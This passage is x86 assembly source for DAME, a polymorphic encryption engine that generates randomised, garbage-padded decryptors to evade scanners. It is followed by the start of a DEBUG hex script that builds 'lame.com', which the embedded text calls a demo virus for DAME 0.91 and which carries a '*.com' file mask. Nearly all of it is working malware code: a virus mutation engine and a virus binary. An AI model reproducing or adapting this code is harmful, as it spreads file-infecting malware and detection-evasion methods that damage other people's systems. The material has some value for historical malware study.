and cl,not 7 ; Turn off garbling/mo routines
|
|
call [bx+si+1] ; Encode the same routine for
|
|
; the encryption
|
|
pop cx ; Restore the bitmask
|
|
mov _encryptpointer,di
|
|
ret
|
|
|
|
choose_routine:
|
|
mov _nest,0 ; Reset recursion counter
|
|
call one_in_two ; 50% chance of using an
|
|
js get_used_register ; already used register as
|
|
; an update value
|
|
call get_rand_bx ; Get random number as the
|
|
; update value
|
|
mov si,offset oneregtable ; Choose the update routine
|
|
; from this table
|
|
jmp short continue_choose_routine ; Saves one byte over
|
|
; xchg dx,bx / ret
|
|
get_used_register:
|
|
; This routine returns, in DX, a register whose value is known at the current
|
|
; point in the encryption/decryption routines. SI is loaded with the offset
|
|
; of the appropriate table. The routine destroys BX.
|
|
call get_rand_bx ; Get a random number
|
|
and bx,7 ; Convert to a register (0-7)
|
|
cmp bl,_sp ; Make sure it isn't SP; that
|
|
jz get_used_register ; is always considered used
|
|
cmp byte ptr [bx+_used_regs],0 ; Check if the register is
|
|
jz get_used_register ; currently in use
|
|
mov si,offset tworegtable ; Use routine from this table
|
|
continue_choose_routine:
|
|
xchg dx,bx ; Move value to dx
|
|
ret ; and quit
|
|
|
|
swap_decrypt_encrypt:
|
|
mov _decryptpointer,di ; save current pointer
|
|
push ax
|
|
mov al,_maxnest ; disable garbling
|
|
mov _nest,al
|
|
pop ax
|
|
mov di,_encryptpointer ; replace with encryption
|
|
ret ; pointer
|
|
|
|
go_next:
|
|
; Upon entry, SI points to a dispatch table. This routine calculates the
|
|
; address of the next table and sets SI to that value.
|
|
push ax
|
|
lodsb ; Get mask byte
|
|
cbw ; Convert it to a word
|
|
add si,ax ; Add it to the current
|
|
pop ax ; location (table+1)
|
|
inc si ; Add two more to adjust
|
|
inc si ; for the mask
|
|
ret ; (mask = size - 3)
|
|
|
|
clear_used_regs:
|
|
xor ax,ax ; Mark registers unused
|
|
mov di,offset _used_regs ; Alter _used_regs table
|
|
stosw
|
|
stosw
|
|
inc ax ; Mark SP used
|
|
stosw
|
|
dec ax
|
|
stosw
|
|
ret
|
|
|
|
get_another: ; Get an unused register
|
|
call get_rand ; Get a random number
|
|
and ax,7 ; convert to a register
|
|
; cmp al,_sp
|
|
; jz get_another
|
|
mov si,ax
|
|
cmp [si+_used_regs],0 ; Check if used already
|
|
jnz get_another ; Yes, try again
|
|
inc [si+_used_regs] ; Otherwise mark the register
|
|
ret ; used and return
|
|
|
|
clear_reg_dx: ; Mark the register in DX
|
|
xchg ax,dx ; unused
|
|
clear_reg: ; Mark the register in AX
|
|
mov si,ax ; unused
|
|
mov byte ptr [si+_used_regs],0
|
|
ret
|
|
|
|
free_regs:
|
|
; This checks for any free registers and sets the zero flag if there are.
|
|
push ax cx di
|
|
mov di,offset _used_regs
|
|
mov cx,8
|
|
xor ax,ax
|
|
repne scasb
|
|
pop di cx ax
|
|
ret
|
|
|
|
one_in_two: ; Gives 50% chance of
|
|
push ax ; something happening
|
|
call get_rand ; Get a random number
|
|
or ax,ax ; Sign flag set 50% of the
|
|
pop ax ; time
|
|
ret
|
|
|
|
get_rand_bx: ; Get a random number to BX
|
|
xchg ax,bx ; Save AX
|
|
call get_rand ; Get a random number
|
|
xchg ax,bx ; Restore AX, set BX to the
|
|
return: ; random number
|
|
ret
|
|
|
|
garble_onebyte:
|
|
; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
|
|
xchg ax,dx ; Get the random number in AX
|
|
and al,7 ; Convert to table offset
|
|
mov bx,offset onebytetable ; Table of random bytes
|
|
xlat ; Get the byte
|
|
stosb ; and encode it
|
|
ret
|
|
|
|
garble_jmpcond:
|
|
; Encode a random short conditional or unconditional JMP instruction. The
|
|
; target of the JMP is an unspecified distance away. Valid instructions
|
|
; take up the space between the JMP and the target.
|
|
xchg ax,dx ; Random number to AX
|
|
and ax,0f ; Convert to a random JMP
|
|
or al,70 ; instruction
|
|
stosw ; Encode it
|
|
push di ; Save current location
|
|
call garble ; May need to check if too large
|
|
mov ax,di ; Get current location
|
|
pop bx ; Restore pointer to the JMP
|
|
sub ax,bx ; Calculate the offset
|
|
mov byte ptr [bx-1], al ; Put it in the conditional
|
|
ret ; JMP
|
|
|
|
clear_PIQ:
|
|
; Encode instructions that clear the prefetch instruction queue.
|
|
; CALL/POP
|
|
; JMP SHORT
|
|
; JMP
|
|
call get_rand ; Get a random number
|
|
mov dl,ah ; Put high byte in DL
|
|
and dx,0f ; Adjust so JMP target is
|
|
; between 0 and 15 bytes away
|
|
and ax,3 ; Mask AX
|
|
jz clear_PIQ_call_pop ; 1/4 chance of CALL/POP
|
|
dec ax
|
|
jz clear_PIQ_jmp_short ; 1/4 chance of JMP SHORT
|
|
|
|
mov al,0e9 ; Otherwise do a straight JMP
|
|
clear_PIQ_word: ; Handler if offset is a word
|
|
stosb ; Store the JMP or CALL
|
|
xchg ax,dx ; Offset to AX
|
|
stosw ; Encode it
|
|
clear_PIQ_byte: ; Encode AX random bytes
|
|
push cx
|
|
xchg ax,cx ; Offset to CX
|
|
jcxz random_encode_done ; Exit if no bytes in between
|
|
random_encode_loop:
|
|
call get_rand ; Get a random number
|
|
stosb ; Store it and then do this
|
|
loop random_encode_loop ; again
|
|
random_encode_done:
|
|
pop cx
|
|
ret
|
|
|
|
clear_PIQ_jmp_short:
|
|
mov al,0ebh ; JMP SHORT
|
|
stosb ; Encode the instruction
|
|
xchg ax,dx
|
|
stosb ; and the offset
|
|
jmp short clear_PIQ_byte ; Encode intervening bytes
|
|
|
|
clear_PIQ_call_pop:
|
|
mov al,0e8 ; CALL
|
|
call clear_PIQ_word ; Encode instruction, garbage
|
|
call garble ; Garble some and then find
|
|
call get_another ; an unused register
|
|
call clear_reg ; keep it unused
|
|
jmp short _pop ; and POP into it
|
|
|
|
twogarble: ; Garble twice
|
|
mov _nest,0 ; Reset nest count
|
|
call garble ; Garble once
|
|
garble: ; ax, dx preserved ; Garble
|
|
call free_regs ; Are there any unused
|
|
jne return ; registers?
|
|
|
|
test cl,2 ; Is garbling enabled?
|
|
jz return ; Exit if not
|
|
|
|
push ax dx si
|
|
|
|
call get_rand ; Get a random number into
|
|
xchg ax,dx ; DX
|
|
call get_another ; And a random reg into AX
|
|
call clear_reg ; Don't mark register as used
|
|
|
|
mov si,offset garbletable ; Garble away
|
|
jmp short handle_jmp_table_nopush
|
|
|
|
handle_jmp_table: ; ax,dx preserved ; This is the master dispatch
|
|
call garble ; Garble before encoding
|
|
handle_jmp_table_nogarble: ; Encode it
|
|
push ax dx si
|
|
handle_jmp_table_nopush:
|
|
push ax
|
|
lodsb ; Get table mask
|
|
cbw ; Clear high byte
|
|
call get_rand_bx ; Get random number
|
|
and bx,ax ; Get random routine
|
|
pop ax
|
|
|
|
test cl,4 ; Short decryptor?
|
|
jnz doshort ; If so, use first routine
|
|
|
|
inc _nest ; Update nest count
|
|
push ax
|
|
mov al,_maxnest
|
|
cmp _nest,al ; Are we too far?
|
|
pop ax
|
|
jb not_max_nest ; If so, then use the first
|
|
doshort:xor bx,bx ; routine in the table
|
|
not_max_nest:
|
|
push bx ; Save routine to be called
|
|
call [bx+si] ; Call the routine
|
|
pop bx si dx ax
|
|
ret
|
|
|
|
garble_tworeg:
|
|
; Garble unused register with the contents of a random register.
|
|
mov si,offset tworegtable ; Use reg_reg table
|
|
and dx,7 ; Convert to random register #
|
|
jmp short handle_jmp_table_nogarble ; Garble away
|
|
|
|
garble_onereg:
|
|
; Garble unused register with a random value (DX).
|
|
mov si,offset oneregtable ; Point to the table
|
|
jmp short handle_jmp_table_nogarble ; and garble
|
|
|
|
_push: ; Encode a PUSH
|
|
or al,al ; PUSHing memory register?
|
|
js _push_mem
|
|
call one_in_two ; 1/2 chance of two-byte PUSH
|
|
js _push_mem
|
|
add al,50 ; otherwise it's really easy
|
|
stosb
|
|
ret
|
|
_push_mem:
|
|
add ax,0ff30
|
|
jmp short go_mod_xxx_rm1
|
|
|
|
_pop: ; Encode a POP
|
|
or al,al ; POPing a memory register?
|
|
js _pop_mem
|
|
call one_in_two ; 1/2 chance of two-byte POP
|
|
js _pop_mem
|
|
add al,58
|
|
stosb
|
|
ret
|
|
_pop_mem:
|
|
mov ah,8f
|
|
go_mod_xxx_rm1:
|
|
jmp mod_xxx_rm
|
|
|
|
mov_reg_xxxx: ; ax and dx preserved
|
|
mov si,offset mov_reg_xxxx_table
|
|
go_handle_jmp_table1:
|
|
jmp short handle_jmp_table
|
|
|
|
_mov_reg_xxxx_mov_add:
|
|
call get_rand_bx ; Get a random number
|
|
push bx ; Save it
|
|
sub dx,bx ; Adjust MOV amount
|
|
call mov_reg_xxxx ; MOV to register
|
|
pop dx ; Get random number
|
|
jmp short go_add_reg_xxxx ; Add it to the register
|
|
|
|
_mov_reg_xxxx_mov_al_ah:
|
|
cmp al,_sp
|
|
jae _mov_reg_xxxx
|
|
push ax dx
|
|
call _mov_al_xx
|
|
pop dx ax
|
|
xchg dh,dl
|
|
jmp short _mov_ah_xx
|
|
|
|
_mov_reg_xxxx_mov_xor:
|
|
call get_rand_bx
|
|
push bx
|
|
xor dx,bx
|
|
call mov_reg_xxxx
|
|
pop dx
|
|
jmp xor_reg_xxxx
|
|
|
|
_mov_reg_xxxx_xor_add:
|
|
push dx
|
|
mov dx,ax
|
|
call xor_reg_reg
|
|
pop dx
|
|
go_add_reg_xxxx:
|
|
jmp add_reg_xxxx
|
|
|
|
_mov_reg_xxxx_mov_rol:
|
|
ror dx,1
|
|
call mov_reg_xxxx
|
|
jmp short _rol
|
|
|
|
_mov_reg_xxxx_mov_ror:
|
|
rol dx,1
|
|
call mov_reg_xxxx
|
|
_ror:
|
|
or al,8
|
|
_rol:
|
|
mov ah,0d1
|
|
jmp short go_mod_xxx_rm1
|
|
|
|
|
|
_mov_reg_xxxx:
|
|
call one_in_two ; 1/2 chance of a four byte MOV
|
|
js _mov_reg_xxxx1
|
|
|
|
add al,0B8
|
|
stosb
|
|
xchg ax,dx
|
|
stosw
|
|
ret
|
|
_mov_reg_xxxx1: ; Do the four byte register MOV
|
|
mov ah,0c7
|
|
jmp mod_xxx_rm_stosw
|
|
|
|
mov_ah_xx:
|
|
_mov_ah_xx:
|
|
add al,04
|
|
mov_al_xx:
|
|
_mov_al_xx:
|
|
add al,0B0
|
|
mov ah,dl
|
|
stosw
|
|
ret
|
|
|
|
mov_reg_reg: ; ax, dx preserved
|
|
mov si,offset mov_reg_reg_table
|
|
jmp short go_handle_jmp_table1
|
|
|
|
_mov_reg_reg_push_pop:
|
|
push ax
|
|
xchg dx,ax
|
|
call _push ; PUSH REG2
|
|
pop ax
|
|
jmp _pop ; POP REG1
|
|
|
|
_mov_reg_reg:
|
|
mov ah,08Bh
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
mov_xchg_reg_reg:
|
|
call one_in_two
|
|
js mov_reg_reg
|
|
|
|
xchg_reg_reg: ; ax, dx preserved
|
|
mov si,offset xchg_reg_reg_table
|
|
go_handle_jmp_table2:
|
|
jmp short go_handle_jmp_table1
|
|
|
|
_xchg_reg_reg_push_pop:
|
|
push dx ax dx
|
|
call _push ; PUSH REG1
|
|
pop ax
|
|
call _push ; PUSH REG2
|
|
pop ax
|
|
call _pop ; POP REG1
|
|
pop ax
|
|
jmp _pop ; POP REG2
|
|
|
|
_xchg_reg_reg_3rd_reg:
|
|
call free_regs
|
|
jne _xchg_reg_reg
|
|
|
|
push dx ax
|
|
call get_another ; Get free register (reg3)
|
|
call mov_xchg_reg_reg ; MOV/XCHG REG3,REG2
|
|
pop dx
|
|
call xchg_reg_reg ; XCHG REG3,REG1
|
|
pop dx
|
|
xchg ax,dx
|
|
call mov_xchg_reg_reg ; MOV/XCHG REG2,REG3
|
|
jmp clear_reg_dx
|
|
|
|
_xchg_reg_reg:
|
|
or al,al
|
|
js __xchg_reg_reg
|
|
|
|
cmp al,dl
|
|
jg _xchg_reg_reg_skip
|
|
xchg al,dl
|
|
_xchg_reg_reg_skip:
|
|
or dl,dl
|
|
jz _xchg_ax_reg
|
|
__xchg_reg_reg:
|
|
xchg al,dl
|
|
mov ah,87
|
|
jmp short _mod_reg_rm
|
|
_xchg_ax_reg:
|
|
add al,90
|
|
stosb
|
|
ret
|
|
|
|
xor_reg_xxxx_xor_xor:
|
|
call get_rand_bx
|
|
push bx
|
|
xor dx,bx
|
|
call xor_reg_xxxx
|
|
pop dx
|
|
jmp short xor_reg_xxxx
|
|
|
|
xor_reg_xxxx:
|
|
mov si,offset xor_reg_xxxx_table
|
|
jmp short go_handle_jmp_table2
|
|
|
|
_xor_reg_xxxx:
|
|
or al,030
|
|
jmp _81h_
|
|
|
|
xor_reg_reg:
|
|
mov si,offset xor_reg_reg_table
|
|
go_handle_jmp_table3:
|
|
jmp short go_handle_jmp_table2
|
|
|
|
_xor_reg_reg:
|
|
mov ah,33
|
|
; The following is the master encoder. It handles most traditional encodings
|
|
; with mod/reg/rm or mod/xxx/rm.
|
|
_mod_reg_rm_direction:
|
|
or al,al ; If al is a memory pointer,
|
|
js dodirection ; then we need to swap regs
|
|
or dl,dl ; If dl is a memory pointer,
|
|
js _mod_reg_rm ; we cannot swap registers
|
|
call one_in_two ; Otherwise there is a 50%
|
|
js _mod_reg_rm ; chance of swapping registers
|
|
dodirection:
|
|
xchg al,dl ; Swap the registers and adjust
|
|
sub ah,2 ; the opcode to compensate
|
|
_mod_reg_rm:
|
|
shl al,1 ; Move al to the reg field
|
|
shl al,1
|
|
shl al,1
|
|
or al,dl ; Move dl to the rm field
|
|
mod_xxx_rm:
|
|
or al,al ; Is al a memory pointer?
|
|
js no_no_reg ; If so, skip next line
|
|
|
|
or al,0c0 ; Mark register in mod field
|
|
no_no_reg:
|
|
xchg ah,al
|
|
|
|
test ah,40
|
|
jnz exit_mod_reg_rm
|
|
|
|
test cl,1
|
|
jnz continue_mod_xxx_rm
|
|
|
|
push ax
|
|
mov al,2e
|
|
stosb
|
|
pop ax
|
|
continue_mod_xxx_rm:
|
|
stosw
|
|
|
|
mov si,cs:[bp] ; Store the patch location
|
|
add si,si ; for the memory in the
|
|
mov cs:[si+bp+2],di ; appropriate table for later
|
|
inc word ptr cs:[bp] ; adjustment
|
|
; cs: overrides needed for bp
|
|
mov al,_relocate_amt
|
|
cbw
|
|
exit_mod_reg_rm:
|
|
stosw
|
|
ret
|
|
|
|
add_reg_reg:
|
|
mov si,offset add_reg_reg_table
|
|
jmp short go_handle_jmp_table3
|
|
|
|
_add_reg_reg:
|
|
mov ah,3
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
sub_reg_reg:
|
|
mov si,offset sub_reg_reg_table
|
|
go_handle_jmp_table4:
|
|
jmp short go_handle_jmp_table3
|
|
|
|
_sub_reg_reg:
|
|
mov ah,2bh
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
_add_reg_xxxx_inc_add:
|
|
call inc_reg
|
|
dec dx
|
|
jmp short add_reg_xxxx
|
|
|
|
_add_reg_xxxx_dec_add:
|
|
call dec_reg
|
|
inc dx
|
|
jmp short add_reg_xxxx
|
|
|
|
_add_reg_xxxx_add_add:
|
|
call get_rand_bx
|
|
push bx
|
|
sub dx,bx
|
|
call add_reg_xxxx
|
|
pop dx
|
|
jmp short add_reg_xxxx
|
|
|
|
add_reg_xxxx1:
|
|
neg dx
|
|
add_reg_xxxx:
|
|
or dx,dx
|
|
jnz cont
|
|
return1:
|
|
ret
|
|
cont:
|
|
mov si,offset add_reg_xxxx_table
|
|
jmp go_handle_jmp_table4
|
|
|
|
_add_reg_xxxx:
|
|
or al,al
|
|
jz _add_ax_xxxx
|
|
_81h_:
|
|
or al,al
|
|
js __81h
|
|
add al,0c0
|
|
__81h:
|
|
mov ah,81
|
|
mod_xxx_rm_stosw:
|
|
call mod_xxx_rm
|
|
_encode_dx_:
|
|
xchg ax,dx
|
|
stosw
|
|
ret
|
|
_add_ax_xxxx:
|
|
mov al,5
|
|
_encode_al_dx_:
|
|
stosb
|
|
jmp short _encode_dx_
|
|
|
|
sub_reg_xxxx1:
|
|
neg dx
|
|
sub_reg_xxxx:
|
|
_sub_reg_xxxx:
|
|
or dx,dx ; SUBtracting anything?
|
|
jz return1 ; If not, we are done
|
|
|
|
or al,al ; SUB AX, XXXX?
|
|
jz _sub_ax_xxxx ; If so, we encode in 3 bytes
|
|
add al,028 ; Otherwise do the standard
|
|
jmp short _81h_ ; mod/reg/rm deal
|
|
_sub_ax_xxxx:
|
|
mov al,2dh
|
|
jmp short _encode_al_dx_
|
|
|
|
dec_reg:
|
|
push ax
|
|
add al,8
|
|
jmp short _dec_inc_reg
|
|
inc_reg:
|
|
push ax
|
|
_dec_inc_reg:
|
|
or al,al
|
|
jns _norm_inc
|
|
mov ah,0ff
|
|
call mod_xxx_rm
|
|
pop ax
|
|
ret
|
|
_norm_inc:
|
|
add al,40
|
|
stosb
|
|
pop ax
|
|
ret
|
|
|
|
_mov_reg_reg_3rd_reg:
|
|
mov bx,offset mov_reg_reg
|
|
mov si,offset mov_xchg_reg_reg
|
|
or al,al ; Is reg1 a pointer register?
|
|
js reg_to_reg1 ; If so, we cannot use XCHG
|
|
jmp short reg_to_reg
|
|
|
|
xor_reg_reg_reg_reg:
|
|
mov bx,offset _xor_reg_reg
|
|
jmp short reg_to_reg1
|
|
add_reg_reg_reg_reg:
|
|
mov bx,offset _add_reg_reg
|
|
jmp short reg_to_reg1
|
|
sub_reg_reg_reg_reg:
|
|
mov bx,offset _sub_reg_reg
|
|
reg_to_reg1:
|
|
mov si,bx
|
|
reg_to_reg:
|
|
call free_regs
|
|
jne no_free_regs
|
|
|
|
push ax si
|
|
call get_another ; Get unused register (reg3)
|
|
call mov_reg_reg ; MOV REG3,REG2
|
|
pop si dx
|
|
xchg ax,dx
|
|
finish_reg_clear_dx:
|
|
push dx
|
|
call si
|
|
pop ax
|
|
jmp clear_reg
|
|
|
|
_xor_reg_xxxx_reg_reg:
|
|
mov bx,offset xor_reg_xxxx
|
|
mov si,offset xor_reg_reg
|
|
xxxx_to_reg:
|
|
call free_regs
|
|
jne no_free_regs
|
|
|
|
push ax si
|
|
call get_another ; Get unused register (reg3)
|
|
call mov_reg_xxxx ; MOV REG3,XXXX
|
|
xchg ax,dx
|
|
pop si ax
|
|
|
|
jmp short finish_reg_clear_dx
|
|
no_free_regs:
|
|
jmp bx
|
|
|
|
_add_reg_xxxx_reg_reg:
|
|
mov bx,offset add_reg_xxxx
|
|
mov si,offset add_reg_reg
|
|
jmp short xxxx_to_reg
|
|
|
|
_mov_reg_xxxx_reg_reg:
|
|
mov bx,offset mov_reg_xxxx
|
|
mov si,offset mov_xchg_reg_reg
|
|
jmp short xxxx_to_reg
|
|
|
|
; The following are a collection of tables used by the various encoding
|
|
; routines to determine which routine will be used. The first line in each
|
|
; table holds the mask for the encoding procedure. The second line holds the
|
|
; default routine which is used when nesting is disabled. The number of
|
|
; entries in each table must be a power of two. To adjust the probability of
|
|
; the occurence of any particular routine, simply vary the number of times it
|
|
; appears in the table relative to the other routines.
|
|
|
|
; The following table governs garbling.
|
|
garbletable:
|
|
db garbletableend - $ - 3
|
|
dw offset return
|
|
dw offset return
|
|
dw offset return
|
|
dw offset return
|
|
dw offset return
|
|
|
|
dw offset garble_tworeg
|
|
dw offset garble_tworeg
|
|
dw offset garble_tworeg
|
|
dw offset garble_onereg
|
|
dw offset garble_onereg
|
|
dw offset garble_onereg
|
|
|
|
dw offset garble_onebyte
|
|
dw offset garble_onebyte
|
|
dw offset garble_onebyte
|
|
dw offset garble_jmpcond
|
|
|
|
dw offset clear_PIQ
|
|
garbletableend:
|
|
|
|
; This table is used by the one byte garbler. It is intuitively obvious.
|
|
onebytetable:
|
|
clc
|
|
cmc
|
|
stc
|
|
cld
|
|
std
|
|
sti
|
|
int 3
|
|
lock
|
|
|
|
; This table is used by the one register garbler. When each of the functions
|
|
; in the table is called, ax holds a random, unused register, and dx holds a
|
|
; random number.
|
|
oneregtable:
|
|
db oneregtableend - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset mov_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset dec_reg
|
|
dw offset inc_reg
|
|
dw offset _ror
|
|
dw offset _rol
|
|
oneregtableend:
|
|
|
|
; This table is used to determine the decryption method
|
|
oneregtable1: ; dx = random #
|
|
db oneregtable1end - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset dec_reg
|
|
dw offset inc_reg
|
|
dw offset _ror
|
|
dw offset _rol
|
|
oneregtable1end:
|
|
|
|
; This table is used to determine the encryption method
|
|
oneregtable2: ; dx = random #
|
|
db oneregtable2end - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset inc_reg
|
|
dw offset dec_reg
|
|
dw offset _rol
|
|
dw offset _ror
|
|
oneregtable2end:
|
|
|
|
tworegtable: ; dl = any register
|
|
db tworegtableend - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset mov_reg_reg
|
|
dw offset sub_reg_reg
|
|
dw offset add_reg_reg
|
|
tworegtableend:
|
|
|
|
tworegtable1: ; dl = any register
|
|
db tworegtable1end - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset xor_reg_reg
|
|
dw offset sub_reg_reg
|
|
dw offset add_reg_reg
|
|
tworegtable1end:
|
|
|
|
tworegtable2: ; dl = any register
|
|
db tworegtable2end - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset xor_reg_reg
|
|
dw offset add_reg_reg
|
|
dw offset sub_reg_reg
|
|
tworegtable2end:
|
|
|
|
mov_reg_xxxx_table:
|
|
db mov_reg_xxxx_table_end - $ - 3
|
|
dw offset _mov_reg_xxxx
|
|
dw offset _mov_reg_xxxx_reg_reg
|
|
dw offset _mov_reg_xxxx_mov_add
|
|
dw offset _mov_reg_xxxx_mov_al_ah
|
|
dw offset _mov_reg_xxxx_mov_xor
|
|
dw offset _mov_reg_xxxx_xor_add
|
|
dw offset _mov_reg_xxxx_mov_rol
|
|
dw offset _mov_reg_xxxx_mov_ror
|
|
|
|
mov_reg_xxxx_table_end:
|
|
|
|
mov_reg_reg_table:
|
|
db mov_reg_reg_table_end - $ - 3
|
|
dw offset _mov_reg_reg
|
|
dw offset _mov_reg_reg
|
|
dw offset _mov_reg_reg_3rd_reg
|
|
dw offset _mov_reg_reg_push_pop
|
|
mov_reg_reg_table_end:
|
|
|
|
xchg_reg_reg_table:
|
|
db xchg_reg_reg_table_end - $ - 3
|
|
dw offset _xchg_reg_reg
|
|
dw offset _xchg_reg_reg
|
|
dw offset _xchg_reg_reg_push_pop
|
|
dw offset _xchg_reg_reg_3rd_reg
|
|
xchg_reg_reg_table_end:
|
|
|
|
xor_reg_xxxx_table:
|
|
db xor_reg_xxxx_table_end - $ - 3
|
|
dw offset _xor_reg_xxxx
|
|
dw offset _xor_reg_xxxx
|
|
dw offset _xor_reg_xxxx_reg_reg
|
|
dw offset xor_reg_xxxx_xor_xor
|
|
xor_reg_xxxx_table_end:
|
|
|
|
xor_reg_reg_table:
|
|
db xor_reg_reg_table_end - $ - 3
|
|
dw offset _xor_reg_reg
|
|
dw offset xor_reg_reg_reg_reg
|
|
xor_reg_reg_table_end:
|
|
|
|
add_reg_reg_table:
|
|
db add_reg_reg_table_end - $ - 3
|
|
dw offset _add_reg_reg
|
|
dw offset add_reg_reg_reg_reg
|
|
add_reg_reg_table_end:
|
|
|
|
sub_reg_reg_table:
|
|
db sub_reg_reg_table_end - $ - 3
|
|
dw offset _sub_reg_reg
|
|
dw offset sub_reg_reg_reg_reg
|
|
sub_reg_reg_table_end:
|
|
|
|
add_reg_xxxx_table:
|
|
db add_reg_xxxx_table_end - $ - 3
|
|
dw offset _add_reg_xxxx
|
|
dw offset _add_reg_xxxx
|
|
dw offset _add_reg_xxxx_reg_reg
|
|
dw offset sub_reg_xxxx1
|
|
dw offset _add_reg_xxxx_inc_add
|
|
dw offset _add_reg_xxxx_dec_add
|
|
dw offset _add_reg_xxxx_add_add
|
|
dw offset _add_reg_xxxx_add_add
|
|
|
|
add_reg_xxxx_table_end:
|
|
|
|
endif
|
|
|
|
if not vars eq 0 ; if (vars != 0)
|
|
|
|
; _nest is needed to prevent the infinite recursion which is possible in a
|
|
; routine such as the one used by DAME. If this value goes above the
|
|
; threshold value (defined as MAXNEST), then no further garbling/obfuscating
|
|
; will occur.
|
|
_nest db ?
|
|
|
|
; This is used by the routine mod_reg_rm when encoding memory accessing
|
|
; instructions. The value in _relocate_amt is later added to the relocation
|
|
; value to determine the final value of the memory adjustment. For example,
|
|
; we initially have, as the encryption instruction:
|
|
; add [bx+0],ax
|
|
; Let's say _relocate_amt is set to 2. Now the instruction reads:
|
|
; add [bx+2],ax
|
|
; Finally, the relocate procedure alters this to:
|
|
; add [bx+202],ax
|
|
; or whatever the appropriate value is.
|
|
;
|
|
; This value is used in double word encryptions.
|
|
_relocate_amt db ?
|
|
|
|
; Various memory locations which we must keep track of for calculations:
|
|
_loopstartencrypt dw ?
|
|
_loopstartdecrypt dw ?
|
|
|
|
_encryptpointer dw ?
|
|
_decryptpointer dw ?
|
|
|
|
_decryptpointer2 dw ?
|
|
|
|
_start_encrypt dw ?
|
|
_start_decrypt dw ?
|
|
beginclear1:
|
|
|
|
; _used_regs is the register tracker. Each byte corresponds to a register.
|
|
; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it
|
|
; is zero, then the register's current value is unimportant to the routine.
|
|
; If it is any other value, then the routine should not play with the value
|
|
; contained in the register (at least without saving it first).
|
|
_used_regs db 8 dup (?) ; 0 = unused
|
|
|
|
; The following four variables contain the addresses in current memory which
|
|
; contain the patch locations for the memory addressing instructions, i.e.
|
|
; XOR WORD PTR [bx+3212],3212
|
|
; It is used at the end of the master encoding routine.
|
|
_encrypt_relocate_num dw ?
|
|
_encrypt_relocator dw 8 dup (?)
|
|
|
|
_decrypt_relocate_num dw ?
|
|
_decrypt_relocator dw 10 dup (?)
|
|
endclear1:
|
|
|
|
_encrypt_length dw ? ; The number of bytes to encrypt
|
|
; (based upon alignment)
|
|
_counter_value dw ? ; Forwards or backwards
|
|
_decrypt_value dw ? ; Not necessarily the crypt key
|
|
_pointer_value1 dw ? ; Pointer register 1's initial value
|
|
_pointer_value2 dw ? ; Pointer register 2's initial value
|
|
|
|
_counter_reg db ?
|
|
_encrypt_reg db ?
|
|
_pointer_reg1 db ? ; 4 = not in use
|
|
_pointer_reg2 db ?
|
|
|
|
_pointer_rm db ? ; Holds r/m value for pointer registers
|
|
_maxnest db ?
|
|
|
|
_kludge dw ?
|
|
|
|
endif
|
|
--End DAME.ASM--Begin LAME.SCR-------------------------------------------------
|
|
N lame.com
|
|
E 0100 E9 37 15 E8 01 08 CD 20 00 00 2A 2E 63 6F 6D 00
|
|
E 0110 2E 2E 00 0D 54 68 69 73 20 69 73 20 61 20 6C 61
|
|
E 0120 6D 65 20 76 69 72 75 73 20 73 6C 61 70 70 65 64
|
|
E 0130 20 74 6F 67 65 74 68 65 72 20 62 79 20 44 41 2F
|
|
E 0140 50 53 0D 0A 54 6F 20 64 65 6D 6F 6E 73 74 72 61
|
|
E 0150 74 65 20 44 41 4D 45 20 30 2E 39 31 0D 0A 1A 52
|
|
E 0160 51 53 B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0
|
|
E 0170 EB 1C 52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00
|
|
E 0180 D1 E0 D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 78
|
|
E 0190 01 89 16 7B 01 8A C2 5B 59 5A C3 03 84 87 05 84
|
|
E 01A0 86 07 84 85 06 84 84 05 07 83 05 06 82 03 07 81
|
|
E 01B0 03 06 80 07 05 83 06 05 82 07 03 81 06 03 80 03
|
|
E 01C0 07 0B 0F 13 17 1B 1F 5F 5D 5E 5A 59 5B 58 FC 50
|
|
E 01D0 53 51 52 56 55 57 E8 0E 00 5F 51 57 FF D7 5F 59
|
|
E 01E0 5D 5E 5A 5B 5B 58 C3 FC 50 B8 1F 0A 97 AB 96 AB
|
|
E 01F0 AB 92 AB 93 AB 87 CA 33 C0 B9 1E 00 F3 AB E8 71
|
|
E 0200 FF 25 F0 FF 59 33 C8 E8 69 03 83 E3 07 8A 87 BF
|
|
E 0210 01 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 F6 C5 40
|
|
E 0220 74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 52 E8 42 FF
|
|
E 0230 AB 58 F6 C5 20 75 02 F7 D8 33 DB F6 C5 80 74 05
|
|
E 0240 E8 30 03 2B C3 AB 93 AB E8 E6 02 BF 6F 0A B0 84
|
|
E 0250 F6 C5 08 74 09 E8 1A FF A3 6B 0A E8 DF 02 AA 92
|
|
E 0260 B0 84 E8 06 03 78 03 E8 D3 02 AA 3B C2 77 01 92
|
|
E 0270 8A E2 3D 05 03 74 D1 3D 07 06 74 CC BE 9B 01 B8
|
|
E 0280 03 00 F6 C5 80 74 05 83 C6 0C 04 04 E8 E4 02 23
|
|
E 0290 D8 03 F3 03 DB 03 F3 AD 8B D8 83 E3 07 80 BF 29
|
|
E 02A0 0A 00 75 D8 8A DC 0A DB 78 07 80 BF 29 0A 00 75
|
|
E 02B0 CB AB A4 E8 BC FE 24 0F 3C 0A 77 F7 AA E8 71 02
|
|
E 02C0 8B 3E 21 0A E8 07 03 BE 6F 0A 56 E8 A5 02 83 E3
|
|
